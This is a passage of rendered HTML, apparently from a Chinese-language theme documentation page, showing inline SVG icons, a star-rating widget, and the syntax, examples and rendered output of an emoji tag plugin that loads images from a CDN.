1-.606-.379a.711.711 0 0 1 .051-.724l1.948-2.79a.672.672 0 0 1 .951-.163"/></svg></span><span class="tag-plugin icon colorful" color="cyan"><svg width="30px" height="30px" viewbox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M189.1 18l14.5 14.47 14.1-14.11-.4-.36zm54.3 0l-.3.31 21.3 21.26 17-16.99-4.6-4.58zm-73.8 6.01l-11.7 11.67 14.2 28.28 18.7-18.72zm60.8 7.06l-14.1 14.11 21.2 21.25 14.1-14.1zm-26.9 26.89l-18.7 18.73 28.3 14.16 11.7-11.66zM163.2 72.8L147 89l12.8 12.8L176 85.52zm-50.1 7.77L80.61 113.1l58.79 58.8h32.5v-32.6zm101.7 52.03c-1.4 19.6-11.8 39.7-27.2 55-15.3 15.4-35.4 25.8-55 27.2l3.5 17.8c24.1-2.3 46.8-14.8 64.3-32.2 17.4-17.5 29.9-40.2 32.2-64.3zm47.5 9.5c-6.4 63.8-56.4 113.7-120.2 120.2l3.5 17.7c70.6-8 126.4-63.8 134.4-134.4zM89.03 147l-16.22 16.2L85.54 176l16.26-16.3zM340 157.6c-7.4 37.9-28.2 78.8-58.7 112.3-32.2 35.5-74.9 62.6-123.6 70.6l3.5 17.7c53.1-8.9 99.1-38.4 133.5-76.1 32.5-35.9 55-79.2 63-121zm-304.21.3l-11.66 11.7 21.23 21.2 18.71-18.7zM434 176.4C422.9 231.5 393.8 285 353.7 329l16 9.2c40.7-45.7 70.5-100.7 82-158.3zm-357.2 8.4l-18.73 18.7 21.22 21.3 11.66-11.7zM18 189v28.2l.46.5 14.13-14.1zm27.3 27.3l-14.11 14.1 21.26 21.2 14.09-14.1zm-26.88 26.8l-.42.4v33.2l4.7 4.7 16.99-17zm418.38 95.4l-98.3 98.3c11.4 6.5 30.5 12.6 49.5 14.8 24.1 2.6 47.8-1.7 54.8-8.8 7.1-7 11.4-30.7 8.8-54.8-2.2-19-8.3-38.1-14.8-49.5zm-92.4 5.9l22.3 38.8 16.5-16.5zm-15.4 9.2c-44 40.2-97.5 69.3-152.6 80.4l3.5 17.7c57.6-11.5 112.6-41.3 158.3-82zM469.4 425c-1.8 12.1-6.1 22.8-13.8 30.6-7.8 7.7-18.5 12-30.6 13.8V487h62v-62z"/></svg></span><span class="tag-plugin icon colorful" color="purple"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 512 512"><path d="M256 48C141.124 48 48 141.125 48 256s93.124 208 208 208c114.875 0 208-93.125 208-208S370.875 48 256 48zm-21.549 384.999c-39.464-4.726-75.978-22.392-104.519-50.932C96.258 348.393 77.714 303.622 77.714 256c0-42.87 15.036-83.424 42.601-115.659.71 8.517 2.463 17.648 2.014 24.175-1.64 23.795-3.988 38.687 9.94 58.762 5.426 7.819 6.759 19.028 9.4 28.078 2.583 8.854 12.902 13.498 20.019 18.953 14.359 11.009 28.096 23.805 43.322 33.494 10.049 6.395 16.326 9.576 13.383 21.839-2.367 9.862-3.028 15.937-8.13 24.723-1.557 2.681 5.877 19.918 8.351 22.392 7.498 7.497 14.938 14.375 23.111 21.125 12.671 10.469-1.231 24.072-7.274 39.117zm147.616-50.932c-25.633 25.633-57.699 42.486-92.556 49.081 4.94-12.216 13.736-23.07 21.895-29.362 7.097-5.476 15.986-16.009 19.693-24.352 3.704-8.332 8.611-15.555 13.577-23.217 7.065-10.899-17.419-27.336-25.353-30.781-17.854-7.751-31.294-18.21-47.161-29.375-11.305-7.954-34.257 4.154-47.02-1.417-17.481-7.633-31.883-20.896-47.078-32.339-15.68-11.809-14.922-25.576-14.922-42.997 12.282.453 29.754-3.399 37.908 6.478 2.573 3.117 11.42 17.042 17.342 12.094 4.838-4.043-3.585-20.249-5.212-24.059-5.005-11.715 11.404-16.284 19.803-24.228 10.96-10.364 34.47-26.618 32.612-34.047s-23.524-28.477-36.249-25.193c-1.907.492-18.697 18.097-21.941 20.859.086-5.746.172-11.491.26-17.237.055-3.628-6.768-7.352-6.451-9.692.8-5.914 17.262-16.647 21.357-21.357-2.869-1.793-12.659-10.202-15.622-8.968-7.174 2.99-15.276 5.05-22.45 8.039 0-2.488-.302-4.825-.662-7.133a176.585 176.585 0 0145.31-13.152l14.084 5.66 9.944 11.801 9.924 10.233 8.675 2.795 13.779-12.995L282 87.929V79.59c27.25 3.958 52.984 14.124 75.522 29.8-4.032.361-8.463.954-13.462 1.59-2.065-1.22-4.714-1.774-6.965-2.623 6.531 14.042 13.343 27.89 20.264 41.746 7.393 14.801 23.793 30.677 26.673 46.301 3.394 18.416 1.039 35.144 2.896 56.811 1.788 20.865 23.524 44.572 23.524 44.572s10.037 3.419 18.384 2.228c-7.781 30.783-23.733 59.014-46.769 82.052z" fill="currentColor"/></svg></span><span class="tag-plugin icon colorful" color="withe"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 256 256"><g fill="currentColor"><path d="M210.69 158.18A88 88 0 1 1 97.82 45.31A96.08 96.08 0 0 0 192 160a96.78 96.78 0 0 0 18.69-1.82" opacity=".2"/><path d="M240 96a8 8 0 0 1-8 8h-16v16a8 8 0 0 1-16 0v-16h-16a8 8 0 0 1 0-16h16V72a8 8 0 0 1 16 0v16h16a8 8 0 0 1 8 8m-96-40h8v8a8 8 0 0 0 16 0v-8h8a8 8 0 0 0 0-16h-8v-8a8 8 0 0 0-16 0v8h-8a8 8 0 0 0 0 16m72.77 97a8 8 0 0 1 1.43 8A96 96 0 1 1 95.07 37.8a8 8 0 0 1 10.6 9.06a88.07 88.07 0 0 0 103.47 103.47a8 8 0 0 1 7.63 2.67m-19.39 14.88c-1.79.09-3.59.14-5.38.14A104.11 104.11 0 0 1 88 64c0-1.79 0-3.59.14-5.38a80 80 0 1 0 109.24 109.24Z"/></g></svg></span><span class="tag-plugin icon colorful" color="blue"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" fill-rule="evenodd" d="M5.879 2.879C5 3.757 5 5.172 5 8v8c0 2.828 0 4.243.879 5.121C6.757 22 8.172 22 11 22h2c2.828 0 4.243 0 5.121-.879C19 20.243 19 18.828 19 16V8c0-2.828 0-4.243-.879-5.121C17.243 2 15.828 2 13 2h-2c-2.828 0-4.243 0-5.121.879M8.25 17a.75.75 0 0 1 .75-.75h3a.75.75 0 0 1 0 1.5H9a.75.75 0 0 1-.75-.75M9 12.25a.75.75 0 0 0 0 1.5h6a.75.75 0 0 0 0-1.5zM8.25 9A.75.75 0 0 1 9 8.25h6a.75.75 0 0 1 0 1.5H9A.75.75 0 0 1 8.25 9" clip-rule="evenodd"/><path fill="currentColor" d="M5.235 4.058C5 4.941 5 6.177 5 8v8c0 1.823 0 3.058.235 3.942L5 19.924c-.975-.096-1.631-.313-2.121-.803C2 18.243 2 16.828 2 14v-4c0-2.829 0-4.243.879-5.121c.49-.49 1.146-.707 2.121-.803zm13.53 15.884C19 19.058 19 17.822 19 16V8c0-1.823 0-3.059-.235-3.942l.235.018c.975.096 1.631.313 2.121.803C22 5.757 22 7.17 22 9.999v4c0 2.83 0 4.243-.879 5.122c-.49.49-1.146.707-2.121.803z" opacity=".5"/></svg></span><span class="tag-plugin icon colorful" color="red"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="m13.629 20.472l-.542.916c-.483.816-1.69.816-2.174 0l-.542-.916c-.42-.71-.63-1.066-.968-1.262c-.338-.197-.763-.204-1.613-.219c-1.256-.021-2.043-.098-2.703-.372a5 5 0 0 1-2.706-2.706C2 14.995 2 13.83 2 11.5v-1c0-3.273 0-4.91.737-6.112a5 5 0 0 1 1.65-1.651C5.59 2 7.228 2 10.5 2h3c3.273 0 4.91 0 6.113.737a5 5 0 0 1 1.65 1.65C22 5.59 22 7.228 22 10.5v1c0 2.33 0 3.495-.38 4.413a5 5 0 0 1-2.707 2.706c-.66.274-1.447.35-2.703.372c-.85.015-1.275.022-1.613.219c-.338.196-.548.551-.968 1.262" opacity=".5"/><path fill="currentColor" d="M10.99 14.308c-1.327-.978-3.49-2.84-3.49-4.593c0-2.677 2.475-3.677 4.5-1.609c2.025-2.068 4.5-1.068 4.5 1.609c0 1.752-2.163 3.615-3.49 4.593c-.454.335-.681.502-1.01.502c-.329 0-.556-.167-1.01-.502"/></svg></span><span class="tag-plugin icon colorful" color="green"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="m13.629 20.472l-.542.916c-.483.816-1.69.816-2.174 0l-.542-.916c-.42-.71-.63-1.066-.968-1.262c-.338-.197-.763-.204-1.613-.219c-1.256-.021-2.043-.098-2.703-.372a5 5 0 0 1-2.706-2.706C2 14.995 2 13.83 2 11.5v-1c0-3.273 0-4.91.737-6.112a5 5 0 0 1 1.65-1.651C5.59 2 7.228 2 10.5 2h3c3.273 0 4.91 0 6.113.737a5 5 0 0 1 1.65 1.65C22 5.59 22 7.228 22 10.5v1c0 2.33 0 3.495-.38 4.413a5 5 0 0 1-2.707 2.706c-.66.274-1.447.35-2.703.372c-.85.015-1.275.022-1.613.219c-.338.196-.548.551-.968 1.262" opacity=".5"/><path fill="currentColor" d="M7.25 9A.75.75 0 0 1 8 8.25h8a.75.75 0 0 1 0 1.5H8A.75.75 0 0 1 7.25 9m0 3.5a.75.75 0 0 1 .75-.75h5.5a.75.75 0 0 1 0 1.5H8a.75.75 0 0 1-.75-.75"/></svg></span><span class="tag-plugin icon colorful" color="accent"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg></span><span class="tag-plugin icon colorful" color="accent"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" fill-rule="evenodd" d="M14.25 4.48v3.057c0 .111 0 .27.02.406a.936.936 0 0 0 .445.683a.96.96 0 0 0 .783.072c.13-.04.272-.108.378-.159L17 8.005l1.124.534c.106.05.248.119.378.16a.958.958 0 0 0 .783-.073a.936.936 0 0 0 .444-.683c.021-.136.021-.295.021-.406V3.031c.113-.005.224-.01.332-.013C21.154 2.98 22 3.86 22 4.933v11.21c0 1.112-.906 2.01-2.015 2.08c-.97.06-2.108.179-2.985.41c-1.082.286-1.99 1.068-3.373 1.436c-.626.167-1.324.257-1.627.323V5.174c.32-.079 1.382-.203 1.674-.371c.184-.107.377-.216.576-.323m5.478 8.338a.75.75 0 0 1-.546.91l-4 1a.75.75 0 0 1-.364-1.456l4-1a.75.75 0 0 1 .91.546" clip-rule="evenodd"/><path fill="currentColor" d="M18.25 3.151c-.62.073-1.23.18-1.75.336a8.2 8.2 0 0 0-.75.27v3.182l.75-.356l.008-.005a1.13 1.13 0 0 1 .492-.13c.047 0 .094.004.138.01c.175.029.315.1.354.12l.009.005l.749.356V3.647z"/><path fill="currentColor" d="M12 5.214c-.334-.064-1.057-.161-1.718-.339C8.938 4.515 8.05 3.765 7 3.487c-.887-.234-2.041-.352-3.018-.412C2.886 3.007 2 3.9 2 4.998v11.146c0 1.11.906 2.01 2.015 2.079c.97.06 2.108.179 2.985.41c.486.129 1.216.431 1.873.726c1.005.451 2.052.797 3.127 1.034z" opacity=".5"/><path fill="currentColor" d="M4.273 12.818a.75.75 0 0 1 .91-.545l4 1a.75.75 0 1 1-.365 1.455l-4-1a.75.75 0 0 1-.545-.91m.909-4.545a.75.75 0 1 0-.364 1.455l4 1a.75.75 0 0 0 .364-1.455z"/></svg></span><span class="tag-plugin icon colorful" color="blue"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewbox="0 0 24 24"><path d="m15.9894 4.9502.5306-.53006zm3.0822 3.08542-.5306.53006zm-10.33323 11.39338-.5306.5301zm-4.11668-4.1209.5306-.53zm12.94521-.3138-.2637-.7021zm-1.9171.7203.2638.7021zm-7.3176-7.33283-.70422-.25802zm.69445-1.89541.70422.25802zm-3.18161 4.18714.19934.723zm1.45663-.5384-.43821-.60864zm.37415-.34472.57083.48642zm6.57518 6.59012.491.567zm-.8704 1.8207-.7232-.199zm.5363-1.4546-.6094-.4372zm-11.19844-3.9914-.74998.0048zm.21199-.8031-.64992-.3743zm8.37475 9.391.0012-.75zm.7881-.2084-.3718-.6514zm-.396-19.09864.1615.73239zm-10.2279 19.43384c-.29274.2931-.2925.768.00054 1.0607s.76792.2925 1.06066-.0005zm5.71443-3.5978c.29274-.293.2925-.7679-.00054-1.0607-.29305-.2927-.76792-.2925-1.06066.0006zm8.27497-12.39184 3.0822 3.08542 1.0612-1.06012-3.0822-3.08542zm-6.18983 13.41864-4.11668-4.1208-1.0612 1.0601 4.11668 4.1209zm8.03423-4.6067-1.9172.7203.5276 1.4042 1.9171-.7203zm-8.26678-5.65241.69445-1.89541-1.40844-.51604-.69445 1.89541zm-2.99204 2.75671c.71145-.1962 1.25281-.334 1.69549-.6527l-.87641-1.21734c-.17293.12451-.39745.19782-1.21776.42398zm1.5836-3.27275c-.29296.79957-.3846 1.01778-.52299 1.18016l1.14166.97289c.35376-.41505.53565-.94343.78977-1.63701zm.11189 2.62005c.18709-.1347.35725-.2915.50678-.467l-1.14166-.97289c-.07129.08366-.15239.15838-.24153.22255zm7.64613 4.2687c-.689.2589-1.2144.4446-1.626.801l.982 1.134c.1608-.1393.3772-.2323 1.1716-.5308zm-1.2823 3.3876c.2253-.8188.2984-1.0432.4226-1.2163l-1.2188-.8744c-.3173.4423-.4546.9825-.6501 1.6928zm-.3437-2.5866c-.1697.147-.3216.3134-.4525.4959l1.2188.8744c.0624-.087.1348-.1663.2157-.2363zm-8.60771-1.0354c-.64614-.6468-1.0843-1.0871-1.36863-1.4443-.28531-.3585-.31477-.5137-.31521-.5833l-1.49997.0095c.00367.5822.29279 1.0697.64154 1.5079.34974.4394.86113.9497 1.48107 1.5703zm.49341-4.82766c-.84522.23306-1.54174.42386-2.06274.63306-.51955.2085-1.0118.4897-1.30243.9943l1.29985.7486c.03462-.0601.13655-.1804.56142-.3509.42343-.17 1.02157-.3361 1.90258-.579zm-2.17725 2.80006c-.00094-.1489.03771-.2952.11193-.4241l-1.29985-.7486c-.20699.3594-.31467.7674-.31205 1.1822zm4.73932 7.2086c.62387.6245 1.13687 1.1396 1.5787 1.4915.44053.3509.93143.6416 1.51763.6425l.0023-1.5c-.0695-.0001-.225-.0287-.5854-.3158-.3592-.2861-.80177-.7274-1.45203-1.3784zm4.44963-1.9569c-.2441.8875-.4112 1.4902-.5823 1.9166-.1718.4279-.293.5299-.3536.5645l.7435 1.3028c.509-.2905.7923-.7857 1.0021-1.3086.2105-.5243.4023-1.2259.6366-2.0774zm-1.3533 4.0909c.4071.0006.8073-.1052 1.1609-.307l-.7435-1.3028c-.1265.0722-.2696.11-.4151.1098zm7.2369-13.52742c1.0635 1.06454 1.7993 1.80382 2.2507 2.41312.4436.5986.4946.9171.4404 1.1676l1.4661.317c.1899-.878-.16-1.6472-.7013-2.3777-.5334-.71978-1.3664-1.55084-2.3947-2.58014zm-.7103 7.13072c1.3614-.5115 2.4633-.9234 3.2464-1.358.7947-.4411 1.4312-.9968 1.6211-1.875l-1.4661-.317c-.0541.2504-.232.5191-.883.8804-.6626.3678-1.6379.7364-3.0459 1.2654zm-1.3107-11.27626c-1.0359-1.03694-1.8719-1.87661-2.5954-2.41376-.7338-.54473-1.5071-.89726-2.3889-.70271l.3231 1.46478c.2498-.0551.5689-.00515 1.1716.4423.6129.45504 1.3572 1.19726 2.4284 2.26951zm-6.78913 2.32424c.52163-1.42363.88523-2.41035 1.25033-3.08123.359-.65977.6278-.83958.8776-.8947l-.3231-1.46478c-.8817.19452-1.4352.83965-1.87208 1.64251-.43084.79175-.83674 1.90536-1.34119 3.28216zm-7.20027 15.78572 4.65323-4.658-1.0612-1.0601-4.65323 4.6579z" fill="currentColor"/></svg></span><span class="tag-plugin icon colorful" color="accent"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewbox="0 0 24 24"><g stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"><path d="m10 3-5 18"/><path d="m19 3-5 18"/><path d="m22 9h-18"/><path d="m20 16h-18"/></g></svg></span><span class="tag-plugin icon colorful" color="dark"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="#888888" d="M4 9.674C4 5.436 7.358 2 11.5 2C15.642 2 19 5.436 19 9.674a7.736 7.736 0 0 1-2.499 5.72c-.51.467-.889.814-1.157 1.066a14.926 14.926 0 0 0-.4.39l-.025.027l-.008.01c-.237.298-.288.375-.318.445c-.03.07-.053.16-.113.54c-.023.15-.026.406-.026 1.105v.03c0 .409 0 .762-.025 1.051c-.027.306-.087.61-.248.895a2.07 2.07 0 0 1-.75.767c-.278.165-.575.226-.874.254c-.283.026-.628.026-1.028.026h-.058c-.4 0-.745 0-1.028-.026c-.3-.028-.596-.09-.875-.254a2.07 2.07 0 0 1-.749-.767c-.16-.285-.22-.588-.248-.895c-.026-.29-.026-.642-.026-1.051v-.03c0-.699-.002-.955-.026-1.105c-.06-.38-.081-.47-.112-.54c-.03-.07-.081-.147-.318-.446l-.008-.01a14.896 14.896 0 0 0-.425-.417c-.268-.25-.647-.598-1.157-1.066A7.736 7.736 0 0 1 4 9.674" opacity=".5"/><path fill="#888888" d="M13.085 19.675h-3.17c.003.097.007.181.014.258c.018.21.05.285.071.323a.69.69 0 0 0 .25.256c.037.021.111.054.316.072c.214.02.496.021.934.021c.437 0 .72 0 .934-.02c.204-.02.279-.052.316-.073a.69.69 0 0 0 .25-.256c.02-.038.052-.114.07-.323c.007-.076.012-.161.015-.258M12.61 8.177c.307.224.378.66.159.973l-1.178 1.688h1.402a.68.68 0 0 1 .606.378a.711.711 0 0 1-.051.725L11.6 14.73a.672.672 0 0 1-.951.163a.708.708 0 0 1-.159-.973l1.178-1.688h-1.402a.68.68 0 0 1-.606-.379a.711.711 0 0 1 .051-.724l1.948-2.79a.672.672 0 0 1 .951-.163"/></svg></span><span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/></svg></span><span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"/></svg></span><span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"/></svg></span><span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M2.5 7.775V2.75a.25.25 0 01.25-.25h5.025a.25.25 0 01.177.073l6.25 6.25a.25.25 0 010 .354l-5.025 5.025a.25.25 0 01-.354 0l-6.25-6.25a.25.25 0 01-.073-.177zm-1.5 0V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 010 2.474l-5.026 5.026a1.75 1.75 0 01-2.474 0l-6.25-6.25A1.75 1.75 0 011 7.775zM6 5a1 1 0 100 2 1 1 0 000-2z"/></svg></span><span class="tag-plugin icon colorful" color="white"><svg style="margin-bottom:2px" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M6.94 2c.416 0 .753.324.753.724v1.46c.668-.012 1.417-.012 2.26-.012h4.015c.842 0 1.591 0 2.259.013v-1.46c0-.4.337-.725.753-.725s.753.324.753.724V4.25c1.445.111 2.394.384 3.09 1.055c.698.67.982 1.582 1.097 2.972L22 9H2v-.724c.116-1.39.4-2.302 1.097-2.972c.697-.67 1.645-.944 3.09-1.055V2.724c0-.4.337-.724.753-.724"/><path fill="currentColor" d="M22 14v-2c0-.839-.004-2.335-.017-3H2.01c-.013.665-.01 2.161-.01 3v2c0 3.771 0 5.657 1.172 6.828C4.343 22 6.228 22 10 22h4c3.77 0 5.656 0 6.828-1.172C22 19.658 22 17.772 22 14" opacity=".5"/><path fill="currentColor" d="M18 17a1 1 0 1 1-2 0a1 1 0 0 1 2 0m0-4a1 1 0 1 1-2 0a1 1 0 0 1 2 0m-5 4a1 1 0 1 1-2 0a1 1 0 0 1 2 0m0-4a1 1 0 1 1-2 0a1 1 0 0 1 2 0m-5 4a1 1 0 1 1-2 0a1 1 0 0 1 2 0m0-4a1 1 0 1 1-2 0a1 1 0 0 1 2 0"/></svg></span><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="6-emoji-&#x8868;&#x60C5;&#x5305;">6. emoji &#x8868;&#x60C5;&#x5305;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">{% emoji [source] name [height:1.75em] %}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{% emoji &#x7231;&#x4F60; %} &#xA0;</span><br><span class="line"></span><br><span class="line">{% emoji blobcat ablobcatattentionreverse %} &#xA0;</span><br><span class="line"></span><br><span class="line">{% emoji tieba &#x6ED1;&#x7A3D; %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><span class="tag-plugin emoji"><img no-lazy class="inline" src="https://gcore.jsdelivr.net/gh/cdn-x/emoji/qq/&#x7231;&#x4F60;.gif"></span> &#xA0;<span class="tag-plugin emoji"><img no-lazy class="inline" src="https://gcore.jsdelivr.net/gh/norevi/waline-blobcatemojis@1.0/blobs/ablobcatattentionreverse.png"></span> &#xA0;<span class="tag-plugin emoji"><img no-lazy class="inline" 